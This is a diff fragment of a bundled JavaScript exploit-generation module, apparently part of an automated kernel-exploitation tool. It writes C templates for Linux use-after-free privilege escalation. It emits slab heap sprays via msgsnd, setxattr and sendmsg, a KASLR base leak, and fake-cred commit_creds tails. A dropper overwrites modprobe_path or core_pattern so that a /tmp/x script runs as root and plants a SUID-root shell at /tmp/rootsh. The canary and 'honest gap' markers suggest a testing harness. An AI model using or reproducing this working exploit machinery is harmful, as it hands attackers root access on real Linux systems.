const gaps = [];
|
|
724
|
+
if (!input.writeProfile)
|
|
725
|
+
gaps.push("no-write-profile");
|
|
726
|
+
if (!input.sprayPlans || input.sprayPlans.length === 0)
|
|
727
|
+
gaps.push("no-spray-plan");
|
|
728
|
+
if (!tail) {
|
|
729
|
+
gaps.push("no-root-tail-plan");
|
|
730
|
+
} else {
|
|
731
|
+
if (!tail.targetSymbol)
|
|
732
|
+
gaps.push("no-root-tail-symbol");
|
|
733
|
+
if (finisher === "none")
|
|
734
|
+
gaps.push(`no-finisher-for-tail:${tail.tail}`);
|
|
735
|
+
if (tail.hardenedNeedsTextLeak)
|
|
736
|
+
gaps.push("needs-kernel-text-leak");
|
|
737
|
+
if (finisher !== "fake-cred-oneshot" && !tail.targetAddr) {
|
|
738
|
+
gaps.push("target-addr-unresolved");
|
|
739
|
+
}
|
|
740
|
+
}
|
|
741
|
+
if (finisher !== "fake-cred-oneshot" && !family)
|
|
742
|
+
gaps.push("no-trigger-geometry");
|
|
743
|
+
if (tail && !writeAimable)
|
|
744
|
+
gaps.push("write-not-aimable");
|
|
745
|
+
return { finisher, complete: gaps.length === 0, gaps };
|
|
746
|
+
}
|
|
747
|
+
var PARTIAL_MARKER_TAG = "PARTIAL";
|
|
748
|
+
var PARTIAL_DEFINE = "0SEC_WEAPONIZATION_PARTIAL";
|
|
749
|
+
var COMPLETE_DEFINE = "OSEC_WEAPONIZATION_COMPLETE";
|
|
750
|
+
function artifactVerdictLine(a) {
|
|
751
|
+
const status = a.complete ? "COMPLETE" : "PARTIAL";
|
|
752
|
+
const gaps = a.gaps.length ? a.gaps.join(",") : "none";
|
|
753
|
+
return `0SEC-ARTIFACT: ${status} finisher=${a.finisher} gaps=${gaps}`;
|
|
754
|
+
}
|
|
755
|
+
|
|
756
|
+
// packages/core/dist/kernel/exploit/templates.js
|
|
757
|
+
var DROP_UID = 65534;
|
|
758
|
+
function cSafe(token) {
|
|
759
|
+
return token.replace(/[^A-Za-z0-9._:-]/g, "");
|
|
760
|
+
}
|
|
761
|
+
function commentSafe(text) {
|
|
762
|
+
return text.replace(/\*\//g, "* /");
|
|
763
|
+
}
|
|
764
|
+
function slabBytes2(hint) {
|
|
765
|
+
if (!hint)
|
|
766
|
+
return void 0;
|
|
767
|
+
const m = hint.match(/kmalloc-(?:cg-)?(\d+)/);
|
|
768
|
+
if (m)
|
|
769
|
+
return parseInt(m[1], 10);
|
|
770
|
+
return void 0;
|
|
771
|
+
}
|
|
772
|
+
var DATALEN_MSG = 4096 - 48;
|
|
773
|
+
var MSGSEG_HDR = 8;
|
|
774
|
+
function markerPreamble(canary) {
|
|
775
|
+
const safe = cSafe(canary);
|
|
776
|
+
return [
|
|
777
|
+
"#define _GNU_SOURCE",
|
|
778
|
+
"#include <stdio.h>",
|
|
779
|
+
"#include <stdlib.h>",
|
|
780
|
+
"#include <string.h>",
|
|
781
|
+
"#include <unistd.h>",
|
|
782
|
+
"#include <errno.h>",
|
|
783
|
+
"#include <sched.h>",
|
|
784
|
+
"#include <fcntl.h>",
|
|
785
|
+
"#include <sys/types.h>",
|
|
786
|
+
"#include <sys/stat.h>",
|
|
787
|
+
// chmod() in the /tmp/x dropper (fix #4)
|
|
788
|
+
"#include <sys/wait.h>",
|
|
789
|
+
"#include <sys/ipc.h>",
|
|
790
|
+
"#include <sys/msg.h>",
|
|
791
|
+
"#include <sys/socket.h>",
|
|
792
|
+
"#include <sys/syscall.h>",
|
|
793
|
+
"#include <sys/xattr.h>",
|
|
794
|
+
"#include <signal.h>",
|
|
795
|
+
// kill() bounds the generic-family trigger worker
|
|
796
|
+
"",
|
|
797
|
+
`#define OSEC_CANARY "${safe}"`,
|
|
798
|
+
"",
|
|
799
|
+
"/* Print a deterministic, canary-bound success marker the oracle keys on. */",
|
|
800
|
+
"static void osec_marker(const char *tag, const char *detail) {",
|
|
801
|
+
" if (detail && detail[0])",
|
|
802
|
+
' printf("0SEC-CANARY:%s:%s:%s\\n", OSEC_CANARY, tag, detail);',
|
|
803
|
+
" else",
|
|
804
|
+
' printf("0SEC-CANARY:%s:%s\\n", OSEC_CANARY, tag);',
|
|
805
|
+
" fflush(stdout);",
|
|
806
|
+
"}",
|
|
807
|
+
"",
|
|
808
|
+
"/* Pin the calling thread to one CPU so spray + free + reclaim share a",
|
|
809
|
+
" per-CPU slab freelist (the same-CPU assumption the spray plan needs). */",
|
|
810
|
+
"static int osec_pin_cpu(int cpu) {",
|
|
811
|
+
" cpu_set_t set;",
|
|
812
|
+
" CPU_ZERO(&set);",
|
|
813
|
+
" CPU_SET(cpu, &set);",
|
|
814
|
+
" return sched_setaffinity(0, sizeof(set), &set);",
|
|
815
|
+
"}",
|
|
816
|
+
"",
|
|
817
|
+
"/* The CPU the free + reclaim spray share (the manual-proof same-CPU freelist",
|
|
818
|
+
" assumption). Declared here (always present) so osec_reclaim_spray() can",
|
|
819
|
+
" pin to it; the ALSA continuous-thread driver overwrites it from the resolved",
|
|
820
|
+
" 0SEC_RACE_SAME_CPU topology before spawning. Default 0 for the generic",
|
|
821
|
+
" (no-family) path, which still pins spray + free to the same CPU. */",
|
|
822
|
+
"int g_cpu_free = 0;",
|
|
823
|
+
"",
|
|
824
|
+
"/* Race telemetry counters (mirroring the manual proof's n_write_ok / n_spray).",
|
|
825
|
+
" Declared here (always present) so the spray helper increments them on every",
|
|
826
|
+
" path; the ALSA driver prints them after the race. g_n_write_ok==0 is the",
|
|
827
|
+
" definitive 'the flood never reached the kernel write path' signal. */",
|
|
828
|
+
"volatile unsigned long g_n_write_ok = 0;",
|
|
829
|
+
"volatile unsigned long g_n_spray = 0;",
|
|
830
|
+
"static void osec_count_spray(void) { __sync_fetch_and_add(&g_n_spray, 1); }"
|
|
831
|
+
].join("\n");
|
|
832
|
+
}
|
|
833
|
+
function emitMsgsndSpray(canary, victimBytes, profile, rootTail, sprayId) {
|
|
834
|
+
const target = victimBytes ?? 192;
|
|
835
|
+
const segPayload = Math.max(target - MSGSEG_HDR, 0);
|
|
836
|
+
const total = DATALEN_MSG + segPayload;
|
|
837
|
+
const dst = profile?.dstOffset;
|
|
838
|
+
const tailSym = rootTail?.targetSymbol;
|
|
839
|
+
const place = [];
|
|
840
|
+
place.push(" /* Place controlled bytes inside the reclaiming 2nd segment. The segment's", " first MSGSEG_HDR(8) bytes are the kernel msg_msgseg.next; the attacker's", " bytes start at object offset 0x08, so object offset `o` lands at segment", " byte `o - MSGSEG_HDR` (NOT `o`). This is the off-by-8 the manual proof", " encodes as PUT64(off) -> s2[off-0x08]. */", " unsigned char *seg = (unsigned char *)body + DATALEN_MSG;", `#define SEGB(o) ((o) - ${MSGSEG_HDR}) /* object offset -> 2nd-segment byte */`);
|
|
841
|
+
if (dst === void 0) {
|
|
842
|
+
place.push(" /* PARTIAL: no dstOffset in the write profile \u2014 cannot aim runtime->buffer;", " spray still reclaims the object but the write target is unproven. */");
|
|
843
|
+
} else if (dst < MSGSEG_HDR) {
|
|
844
|
+
place.push(` /* PARTIAL: dstOffset 0x${dst.toString(16)} < MSGSEG_HDR(0x${MSGSEG_HDR.toString(16)}) lies in the kernel`, " msg_msgseg.next pointer \u2014 UNCONTROLLABLE via the 2nd-segment spray. The", " copy cannot be aimed; the write target is unproven. */");
|
|
845
|
+
} else {
|
|
846
|
+
place.push(` /* runtime->buffer (object +0x${dst.toString(16)}) \u2190 root-tail target symbol address.`, ` This is the DEST BASE of memcpy(runtime->buffer + hw_ptr, payload, n). */`, tailSym ? ` *(unsigned long *)(seg + SEGB(0x${dst.toString(16)})) = g_target_addr; /* &${cSafe(tailSym)} */` : ` *(unsigned long *)(seg + SEGB(0x${dst.toString(16)})) = g_target_addr;`);
|
|
847
|
+
}
|
|
848
|
+
place.push(" /* The real snd_rawmidi_runtime fields the receive path reads (off-by-8", " corrected via SEGB). buffer_size 0x00ff1000 = the reclaim sentinel AND a", " generous bound; appl_ptr/hw_ptr/avail/buffer_ref = 0 (hw_ptr is the dest", " index on the OUTPUT path, kept 0 so the write lands at buffer+0). */", " *(unsigned long *)(seg + SEGB(0x18)) = 0x00ff1000UL; /* buffer_size + sentinel */", " *(unsigned long *)(seg + SEGB(0x20)) = 0; /* appl_ptr (read-path idx) */", " *(unsigned long *)(seg + SEGB(0x28)) = 0; /* hw_ptr (output dest idx) */", " *(unsigned long *)(seg + SEGB(0x38)) = 0; /* avail (< buffer_size) */", " *(unsigned long *)(seg + SEGB(0x50)) = 0; /* buffer_ref (no spin) */", "#undef SEGB");
|
|
849
|
+
return [
|
|
850
|
+
" /* \u2500\u2500 Spray phase \u2014 msgsnd() 2nd-segment reclaim \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500",
|
|
851
|
+
` victim bucket: kmalloc-${target}; 2nd-seg payload ${segPayload}B + ${MSGSEG_HDR}B hdr.`,
|
|
852
|
+
` message body = DATALEN_MSG(${DATALEN_MSG}) + ${segPayload} = ${total} bytes;`,
|
|
853
|
+
" the continuation allocation is kmalloc-" + target + ", aliasing the freed object. */",
|
|
854
|
+
" /* g_target_addr (file-scope global) is set at the top of main() before this",
|
|
855
|
+
" spray runs, so the fake-object buffer ptr points at the root-tail symbol.",
|
|
856
|
+
" The escalation path string itself is delivered by the SYSEX FLOOD (the",
|
|
857
|
+
" memcpy SOURCE), not staged here \u2014 the spray only authors the fake runtime. */",
|
|
858
|
+
`#define DATALEN_MSG ${DATALEN_MSG}`,
|
|
859
|
+
" /* Persistent reclaimer: the message stays in the queue until msgrcv(). */",
|
|
860
|
+
" static struct { long mtype; char mtext[" + total + "]; } mb;",
|
|
861
|
+
" mb.mtype = 1;",
|
|
862
|
+
" unsigned char *body = (unsigned char *)mb.mtext;",
|
|
863
|
+
" memset(body, 0x41, sizeof(mb.mtext));",
|
|
864
|
+
...place,
|
|
865
|
+
"",
|
|
866
|
+
" /* A fresh queue per round so each round gets a hot, full set of resident",
|
|
867
|
+
" reclaimers; the messages STAY allocated (no msgrcv) so the continuation",
|
|
868
|
+
" segment pins the freed slot through the dangling write. Old queues are",
|
|
869
|
+
" reclaimed once the run ends (IPC_RMID below) to bound resource use. */",
|
|
870
|
+
" static int qids[64]; static int nq = 0;",
|
|
871
|
+
" int qid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);",
|
|
872
|
+
" if (qid < 0) { return; }",
|
|
873
|
+
" if (nq < (int)(sizeof(qids)/sizeof(qids[0]))) qids[nq++] = qid;",
|
|
874
|
+
" else { /* recycle oldest to cap queue count */ msgctl(qids[nq % 64], IPC_RMID, NULL); qids[nq++ % 64] = qid; }",
|
|
875
|
+
" int sprayed = 0;",
|
|
876
|
+
" for (int i = 0; i < 64; i++) {",
|
|
877
|
+
" if (msgsnd(qid, &mb, sizeof(mb.mtext), IPC_NOWAIT) == 0) { sprayed++; osec_count_spray(); }",
|
|
878
|
+
" else break; /* queue full \u2014 enough resident reclaimers for this round */",
|
|
879
|
+
" }",
|
|
880
|
+
` osec_marker("RECLAIM", "${cSafe(sprayId)}"); /* reclaim attempt fired */`,
|
|
881
|
+
"#undef DATALEN_MSG"
|
|
882
|
+
];
|
|
883
|
+
}
|
|
884
|
+
function emitSetxattrSpray(victimBytes, profile, sprayId) {
|
|
885
|
+
const target = victimBytes ?? 192;
|
|
886
|
+
const dst = profile?.dstOffset;
|
|
887
|
+
return [
|
|
888
|
+
" /* \u2500\u2500 Spray phase \u2014 setxattr() transient reclaim \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500",
|
|
889
|
+
` victim bucket: kmalloc-${target}; value buffer freed on syscall return. */`,
|
|
890
|
+
` static unsigned char xbuf[${target}];`,
|
|
891
|
+
" memset(xbuf, 0x41, sizeof(xbuf));",
|
|
892
|
+
dst !== void 0 ? ` *(unsigned long *)(xbuf + 0x${dst.toString(16)}) = g_target_addr;` : " /* PARTIAL: no dstOffset \u2014 transient spray content unaimed. */",
|
|
893
|
+
' for (int i = 0; i < 64; i++) setxattr("/tmp", "user.0sec", xbuf, sizeof(xbuf), 0);',
|
|
894
|
+
` osec_marker("RECLAIM", "${cSafe(sprayId)}");`
|
|
895
|
+
];
|
|
896
|
+
}
|
|
897
|
+
function emitCmsgSpray(victimBytes, sprayId) {
|
|
898
|
+
const target = victimBytes ?? 192;
|
|
899
|
+
return [
|
|
900
|
+
" /* \u2500\u2500 Spray phase \u2014 sendmsg() cmsg transient reclaim \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500",
|
|
901
|
+
` victim bucket: kmalloc-${target}; control buffer freed as sendmsg returns. */`,
|
|
902
|
+
` static char cbuf[${target}];`,
|
|
903
|
+
" memset(cbuf, 0x41, sizeof(cbuf));",
|
|
904
|
+
" int sv[2]; socketpair(AF_UNIX, SOCK_DGRAM, 0, sv);",
|
|
905
|
+
" struct msghdr mh; memset(&mh, 0, sizeof(mh));",
|
|
906
|
+
" mh.msg_control = cbuf; mh.msg_controllen = sizeof(cbuf);",
|
|
907
|
+
" for (int i = 0; i < 64; i++) sendmsg(sv[0], &mh, MSG_DONTWAIT);",
|
|
908
|
+
` osec_marker("RECLAIM", "${cSafe(sprayId)}");`
|
|
909
|
+
];
|
|
910
|
+
}
|
|
911
|
+
function pickSpray(params) {
|
|
912
|
+
const best = (params.sprayPlans ?? []).find((p) => p.bucketMatch) ?? (params.sprayPlans ?? [])[0];
|
|
913
|
+
const sprayId = best ? cSafe(best.primitive) : "no-spray";
|
|
914
|
+
return { best, sprayId };
|
|
915
|
+
}
|
|
916
|
+
function sprayBodyLines(canary, params) {
|
|
917
|
+
const victim = slabBytes2(params.objectHint);
|
|
918
|
+
const { best, sprayId } = pickSpray(params);
|
|
919
|
+
if (!best) {
|
|
920
|
+
return [
|
|
921
|
+
" /* \u2500\u2500 Spray phase \u2014 PARTIAL: no spray plan selected \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500",
|
|
922
|
+
" no viable reclaim vector for this victim cache/config; the chain",
|
|
923
|
+
" cannot demonstrate a controlled reclaim. Climb stops at attempted. */"
|
|
924
|
+
];
|
|
925
|
+
}
|
|
926
|
+
if (best.primitive === "msgsnd-2ndseg" || best.primitive === "msg_msg") {
|
|
927
|
+
return emitMsgsndSpray(canary, victim, params.writeProfile, params.rootTailPlan, sprayId);
|
|
928
|
+
}
|
|
929
|
+
if (best.primitive === "setxattr") {
|
|
930
|
+
return emitSetxattrSpray(victim, params.writeProfile, sprayId);
|
|
931
|
+
}
|
|
932
|
+
if (best.primitive === "cmsg") {
|
|
933
|
+
return emitCmsgSpray(victim, sprayId);
|
|
934
|
+
}
|
|
935
|
+
return [
|
|
936
|
+
` /* \u2500\u2500 Spray phase \u2014 '${cSafe(best.primitive)}' (generic) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500`,
|
|
937
|
+
` victim bucket: kmalloc-${victim ?? 192}. */`,
|
|
938
|
+
` osec_marker("RECLAIM", "${sprayId}");`
|
|
939
|
+
];
|
|
940
|
+
}
|
|
941
|
+
function emitReclaimSprayFunction(canary, params) {
|
|
942
|
+
return [
|
|
943
|
+
"/* Reclaim the just-freed victim slot with controlled bytes, on the free's",
|
|
944
|
+
" CPU (per-CPU freelist). Called in the race loop by the trigger driver. */",
|
|
945
|
+
"static void osec_reclaim_spray(void) {",
|
|
946
|
+
" osec_pin_cpu(g_cpu_free); /* same CPU as the free (per-CPU freelist) */",
|
|
947
|
+
...sprayBodyLines(canary, params),
|
|
948
|
+
"}"
|
|
949
|
+
].join("\n");
|
|
950
|
+
}
|
|
951
|
+
function emitSprayPhase(canary, params, family, climbsToRoot, assessment) {
|
|
952
|
+
if (family === "alsa-seq-rawmidi") {
|
|
953
|
+
return [
|
|
954
|
+
" /* \u2500\u2500 Reclaim phase \u2014 bug-specific free/race + same-CPU reclaim \u2500\u2500\u2500\u2500\u2500\u2500",
|
|
955
|
+
" The trigger geometry below drives the real snd_rawmidi_runtime free",
|
|
956
|
+
" and interleaves osec_reclaim_spray() on the same CPU each round. */",
|
|
957
|
+
...emitTriggerDriver({
|
|
958
|
+
...params.faultingPc ? { faultingPc: params.faultingPc } : {},
|
|
959
|
+
...params.objectHint ? { slabCache: params.objectHint } : {},
|
|
960
|
+
...params.writeProfile ? { writeProfile: params.writeProfile } : {},
|
|
961
|
+
...params.rootTailPlan?.pathString !== void 0 ? { rootTailPath: params.rootTailPlan.pathString } : {},
|
|
962
|
+
// Fork the dropped-uid request_module trigger in-race only when the
|
|
963
|
+
// emission actually has that finisher AND the ladder reaches root — the
|
|
964
|
+
// same verdict that gates emitRootTailHelpers (which defines the forked
|
|
965
|
+
// worker), keeping the call and its definition in lock-step.
|
|
966
|
+
forkTrigger: climbsToRoot && assessment.finisher === "modprobe-request-module",
|
|
967
|
+
pinCpu: 0
|
|
968
|
+
})
|
|
969
|
+
].join("\n");
|
|
970
|
+
}
|
|
971
|
+
if (family === "timer-list-uaf") {
|
|
972
|
+
return [
|
|
973
|
+
" /* \u2500\u2500 Reclaim phase \u2014 timer-list UAF free/reclaim (fake-cred one-shot) \u2500",
|
|
974
|
+
" The driver below forks the unprivileged victim, resolves commit_creds,",
|
|
975
|
+
" drives the bug-specific free, sprays the forged cred into the freed",
|
|
976
|
+
" chunk, and lets the re-armed timer fire commit_creds(&obj) in the child. */",
|
|
977
|
+
...emitTimerUafDriver({
|
|
978
|
+
...params.canary ? { canary: params.canary } : {},
|
|
979
|
+
...params.objectHint ? { slabCache: params.objectHint } : {},
|
|
980
|
+
...params.writeProfile ? { writeProfile: params.writeProfile } : {},
|
|
981
|
+
...params.rootTailPlan?.hardenedNeedsTextLeak ? { hardenedNeedsTextLeak: true } : {}
|
|
982
|
+
})
|
|
983
|
+
].join("\n");
|
|
984
|
+
}
|
|
985
|
+
return [
|
|
986
|
+
" /* \u2500\u2500 Reclaim phase \u2014 generic same-CPU reclaim (no bug-specific free) \u2500\u2500",
|
|
987
|
+
" No hand-proven free/race geometry for this bug family; the spray runs",
|
|
988
|
+
" once and the oracle credits 'reclaim' only if the sprayed bytes are",
|
|
989
|
+
" witnessed at the freed slot (RECLAIM_WITNESS). */",
|
|
990
|
+
" osec_reclaim_spray();"
|
|
991
|
+
].join("\n");
|
|
992
|
+
}
|
|
993
|
+
function kaslrLeakEmitted(rungs, tail, family) {
|
|
994
|
+
return rungs.includes("reclaim") && // The runtime KASLR-leak helper (`emitKaslrLeakFunction`) reclaims the
|
|
995
|
+
// snd_rawmidi_runtime and is ALSA-specific — never emit it for other
|
|
996
|
+
// families (the timer-list-uaf family resolves symbols via /proc/kallsyms).
|
|
997
|
+
family === "alsa-seq-rawmidi" && Boolean(tail?.kaslrOn) && Boolean(tail?.targetAddr) && Boolean(tail?.unslidBase);
|
|
998
|
+
}
|
|
999
|
+
function emitTargetAddrSetup(params, family) {
|
|
1000
|
+
const tail = params.rootTailPlan;
|
|
1001
|
+
if (!tail || !tail.targetSymbol) {
|
|
1002
|
+
return [
|
|
1003
|
+
" /* No root-tail symbol resolved \u2014 g_target_addr stays 0 (inert). */"
|
|
1004
|
+
].join("\n");
|
|
1005
|
+
}
|
|
1006
|
+
const sym = cSafe(tail.targetSymbol);
|
|
1007
|
+
if (family === "timer-list-uaf") {
|
|
1008
|
+
return [
|
|
1009
|
+
` /* fake-cred tail: &${sym} is resolved at runtime via /proc/kallsyms in`,
|
|
1010
|
+
" osec_fakecred_setup (the KASLR-defeat channel for this family). If",
|
|
1011
|
+
" kptr_restrict hides it the one-shot refuses to fire (honest gap). */",
|
|
1012
|
+
...tail.hardenedNeedsTextLeak ? [
|
|
1013
|
+
" /* HONEST NOTE: KASLR ON + no kernel-text leak \u2014 the physmap MODE_LEAK",
|
|
1014
|
+
" recovers only page_offset_base, so a companion text infoleak (here",
|
|
1015
|
+
" /proc/kallsyms) is REQUIRED for commit_creds's slid address. */"
|
|
1016
|
+
] : []
|
|
1017
|
+
].join("\n");
|
|
1018
|
+
}
|
|
1019
|
+
if (tail.kaslrOn && !family) {
|
|
1020
|
+
return [
|
|
1021
|
+
` /* KASLR ON and no leak channel for this bug family: a static &${sym} is`,
|
|
1022
|
+
" wrong and we have no way to recover the slide. g_target_addr stays 0;",
|
|
1023
|
+
" the chain honestly stops short of root (no faked address). */"
|
|
1024
|
+
].join("\n");
|
|
1025
|
+
}
|
|
1026
|
+
if (tail.kaslrOn && tail.targetAddr && tail.unslidBase) {
|
|
1027
|
+
const off = BigInt(tail.targetAddr) - BigInt(tail.unslidBase);
|
|
1028
|
+
return [
|
|
1029
|
+
` /* KASLR ON: resolve &${sym} at runtime. The image slides by one offset,`,
|
|
1030
|
+
` so &${sym} = kaslr_base + 0x${off.toString(16)} (its link-time distance`,
|
|
1031
|
+
` from _text @ ${tail.unslidBase}). Recover kaslr_base via a real leak. */`,
|
|
1032
|
+
" unsigned long kbase = osec_leak_kernel_base();",
|
|
1033
|
+
" if (kbase) {",
|
|
1034
|
+
` g_target_addr = kbase + 0x${off.toString(16)}UL; /* &${sym} (slid) */`,
|
|
1035
|
+
' { char kb[48]; snprintf(kb, sizeof(kb), "kaslr_base=0x%lx", kbase);',
|
|
1036
|
+
' osec_marker("ARB-READ", kb); /* a real kernel ptr was leaked */ }',
|
|
1037
|
+
" } else {",
|
|
1038
|
+
" /* HONEST GAP: the KASLR leak did not recover a kernel pointer this run;",
|
|
1039
|
+
" g_target_addr stays 0 and the escalation refuses to fire. */",
|
|
1040
|
+
" g_target_addr = 0;",
|
|
1041
|
+
" }"
|
|
1042
|
+
].join("\n");
|
|
1043
|
+
}
|
|
1044
|
+
if (tail.targetAddr) {
|
|
1045
|
+
return [
|
|
1046
|
+
` /* KASLR OFF: &${sym} is fixed at link time \u2014 inline the static address. */`,
|
|
1047
|
+
` g_target_addr = (unsigned long)${tail.targetAddr}UL; /* &${sym} */`
|
|
1048
|
+
].join("\n");
|
|
1049
|
+
}
|
|
1050
|
+
return [
|
|
1051
|
+
` /* &${sym} was not resolved (no vmlinux at plan time): g_target_addr stays 0`,
|
|
1052
|
+
" \u2014 the write cannot be aimed and the chain stops short of root. */"
|
|
1053
|
+
].join("\n");
|
|
1054
|
+
}
|
|
1055
|
+
function emitKaslrLeakFunction() {
|
|
1056
|
+
return [
|
|
1057
|
+
"/* Runtime KASLR-base leak (RANDOMIZE_BASE on). Returns the slid kernel base,",
|
|
1058
|
+
" or 0 when no kernel pointer could be recovered this run (honest failure). */",
|
|
1059
|
+
"static unsigned long osec_leak_kernel_base(void) {",
|
|
1060
|
+
" /* Reclaim the freed kmalloc-192 slot with an object carrying a stable",
|
|
1061
|
+
" kernel pointer, then read the slot back through the dangling read side.",
|
|
1062
|
+
" We reuse the SAME free/race geometry (single subscription) so the read",
|
|
1063
|
+
" lands on the reclaimed object. */",
|
|
1064
|
+
" unsigned long leaked = 0;",
|
|
1065
|
+
" if (g_seq_fd < 0) { if (osec_seq_setup() != 0) return 0; }",
|
|
1066
|
+
" if (g_rawmidi_fd < 0) return 0; /* no read channel \u2014 cannot leak */",
|
|
1067
|
+
" for (int attempt = 0; attempt < 256 && !leaked; attempt++) {",
|
|
1068
|
+
" /* Re-arm the free and reclaim with a pointer-carrying object. */",
|
|
1069
|
+
" osec_seq_sub(1);",
|
|
1070
|
+
" osec_seq_sub(0); /* free the runtime */",
|
|
1071
|
+
" osec_reclaim_spray(); /* land controlled bytes in the slot */",
|
|
1072
|
+
" /* Read the (now reclaimed) runtime buffer back. A kernel .text pointer",
|
|
1073
|
+
" reads as 0xffffffff8xxxxxxx; mask to the 2 MiB-aligned text base. */",
|
|
1074
|
+
" unsigned long buf[24];",
|
|
1075
|
+
" memset(buf, 0, sizeof(buf));",
|
|
1076
|
+
" ssize_t n = read(g_rawmidi_fd, buf, sizeof(buf));",
|
|
1077
|
+
" for (unsigned i = 0; i < sizeof(buf)/sizeof(buf[0]) && n > 0; i++) {",
|
|
1078
|
+
" unsigned long v = buf[i];",
|
|
1079
|
+
" /* A kernel-text pointer: top bits set, in the kernel half. */",
|
|
1080
|
+
" if ((v & 0xffffffff00000000UL) == 0xffffffff00000000UL &&",
|
|
1081
|
+
" (v & 0xffffUL) != 0) {",
|
|
1082
|
+
" leaked = v & ~0x1fffffUL; /* mask to 2 MiB text-base alignment */",
|
|
1083
|
+
" break;",
|
|
1084
|
+
" }",
|
|
1085
|
+
" }",
|
|
1086
|
+
" }",
|
|
1087
|
+
" /* HONEST GAP: this recovers a 2 MiB-aligned base from ANY recovered .text",
|
|
1088
|
+
" pointer. If the reclaimed object carries no kernel pointer at a read-back",
|
|
1089
|
+
" offset on the running kernel, leaked stays 0 \u2014 we return 0 rather than a",
|
|
1090
|
+
" guess, and the caller declines to fire the root tail. */",
|
|
1091
|
+
" return leaked;",
|
|
1092
|
+
"}"
|
|
1093
|
+
].join("\n");
|
|
1094
|
+
}
|
|
1095
|
+
function escalationFireable(params) {
|
|
1096
|
+
const tail = params.rootTailPlan;
|
|
1097
|
+
const dst = params.writeProfile?.dstOffset;
|
|
1098
|
+
return Boolean(tail && tail.targetSymbol && dst !== void 0 && dst >= MSGSEG_HDR);
|
|
1099
|
+
}
|
|
1100
|
+
function emitRootTailHelpers(params, finisher, defineRaceFlag) {
|
|
1101
|
+
const rootTag = RUNG_MARKER_TAG.root;
|
|
1102
|
+
const raceFlag = defineRaceFlag && finisher === "modprobe-request-module" ? [
|
|
1103
|
+
"/* The trigger worker's run flag. Declared here because this emission has no",
|
|
1104
|
+
" bug-specific race driver to declare it; the worker clears it on a win. */",
|
|
1105
|
+
"volatile int g_race_run = 1;",
|
|
1106
|
+
""
|
|
1107
|
+
] : [];
|
|
1108
|
+
const dropperIntro = finisher === "modprobe-request-module" ? [
|
|
1109
|
+
"/* fix #4 \u2014 drop the /tmp/x payload BEFORE the race. When the UAF write",
|
|
1110
|
+
' overwrites modprobe_path with "/tmp/x" and request_module() fires, the',
|
|
1111
|
+
" kernel usermodehelper execs THIS script as root; it records the uid=0",
|
|
1112
|
+
" witness to /tmp/pwned (the evidence the ROOT marker is bound to) and drops",
|
|
1113
|
+
" a SUID-root shell. Mirrors colossus build_v6.sh. */"
|
|
1114
|
+
] : [
|
|
1115
|
+
"/* fix #4 \u2014 drop the /tmp/x payload BEFORE the escalation. When the UAF",
|
|
1116
|
+
' write overwrites core_pattern with "|/tmp/x" and a task dumps core, the',
|
|
1117
|
+
" kernel pipes the core to THIS script as root; it records the uid=0",
|
|
1118
|
+
" witness to /tmp/pwned (the evidence the ROOT marker is bound to) and drops",
|
|
1119
|
+
" a SUID-root shell. Mirrors colossus build_v6.sh. */"
|
|
1120
|
+
];
|
|
1121
|
+
const dropper = [
|
|
1122
|
+
...dropperIntro,
|
|
1123
|
+
"static int osec_drop_payload(void) {",
|
|
1124
|
+
' FILE *f = fopen("/tmp/x", "w");',
|
|
1125
|
+
" if (!f) return -1;",
|
|
1126
|
+
' fputs("#!/bin/sh\\n", f);',
|
|
1127
|
+
' fputs("echo MODPROBE_HELPER_RAN uid=$(id -u) > /tmp/pwned\\n", f);',
|
|
1128
|
+
' fputs("id >> /tmp/pwned\\n", f);',
|
|
1129
|
+
' fputs("cp /bin/sh /tmp/rootsh\\n", f);',
|
|
1130
|
+
' fputs("chmod 4755 /tmp/rootsh\\n", f);',
|
|
1131
|
+
" fclose(f);",
|
|
1132
|
+
' chmod("/tmp/x", 0755);',
|
|
1133
|
+
" return 0;",
|
|
1134
|
+
"}"
|
|
1135
|
+
];
|
|
1136
|
+
if (finisher !== "modprobe-request-module") {
|
|
1137
|
+
return [...raceFlag, ...dropper].join("\n");
|
|
1138
|
+
}
|
|
1139
|
+
const worker = [
|
|
1140
|
+
"",
|
|
1141
|
+
"/* fix #5 \u2014 the FORKED, continuously-running dropped-uid trigger. Forked",
|
|
1142
|
+
" BEFORE the race loop so its setuid does NOT taint the racing threads, and",
|
|
1143
|
+
" so it keeps firing request_module() THROUGHOUT the race (a won race lands",
|
|
1144
|
+
" the modprobe_path write asynchronously \u2014 a one-shot post-join trigger",
|
|
1145
|
+
" misses it). The ROOT credit is the /tmp/pwned uid=0 WITNESS written by the",
|
|
1146
|
+
" helper running as root \u2014 NOT getuid() in this dropped process (which never",
|
|
1147
|
+
" becomes root itself). Mirrors seqmidi_uaf6.c:179-200. */",
|
|
1148
|
+
"static void osec_trigger_worker(void) {",
|
|
1149
|
+
" /* Drop to nobody so a win proves a REAL unprivileged->root escalation. The",
|
|
1150
|
+
" DROP marker is bound to the genuine setgid+setuid success (evidence-bound). */",
|
|
1151
|
+
` if (setgid(${DROP_UID}) != 0) { /* best-effort */ }`,
|
|
1152
|
+
` if (setuid(${DROP_UID}) != 0 || getuid() != ${DROP_UID}) {`,
|
|
1153
|
+
" /* HONEST GAP: could not drop uid \u2014 do NOT print DROP (no real drop). */",
|
|
1154
|
+
" return;",
|
|
1155
|
+
" }",
|
|
1156
|
+
' { char db[32]; snprintf(db, sizeof(db), "uid=%d", getuid());',
|
|
1157
|
+
` osec_marker("DROP", db); } /* bound to a real setuid (uid != 0 -> ${DROP_UID}) */`,
|
|
1158
|
+
" while (g_race_run) {",
|
|
1159
|
+
' /* request_module("net-pf-%d", fam) via socket() on unknown families. If',
|
|
1160
|
+
" modprobe_path was hijacked to /tmp/x, the kernel runs it as ROOT. */",
|
|
1161
|
+
" for (int fam = 27; fam < 46; fam++) {",
|
|
1162
|
+
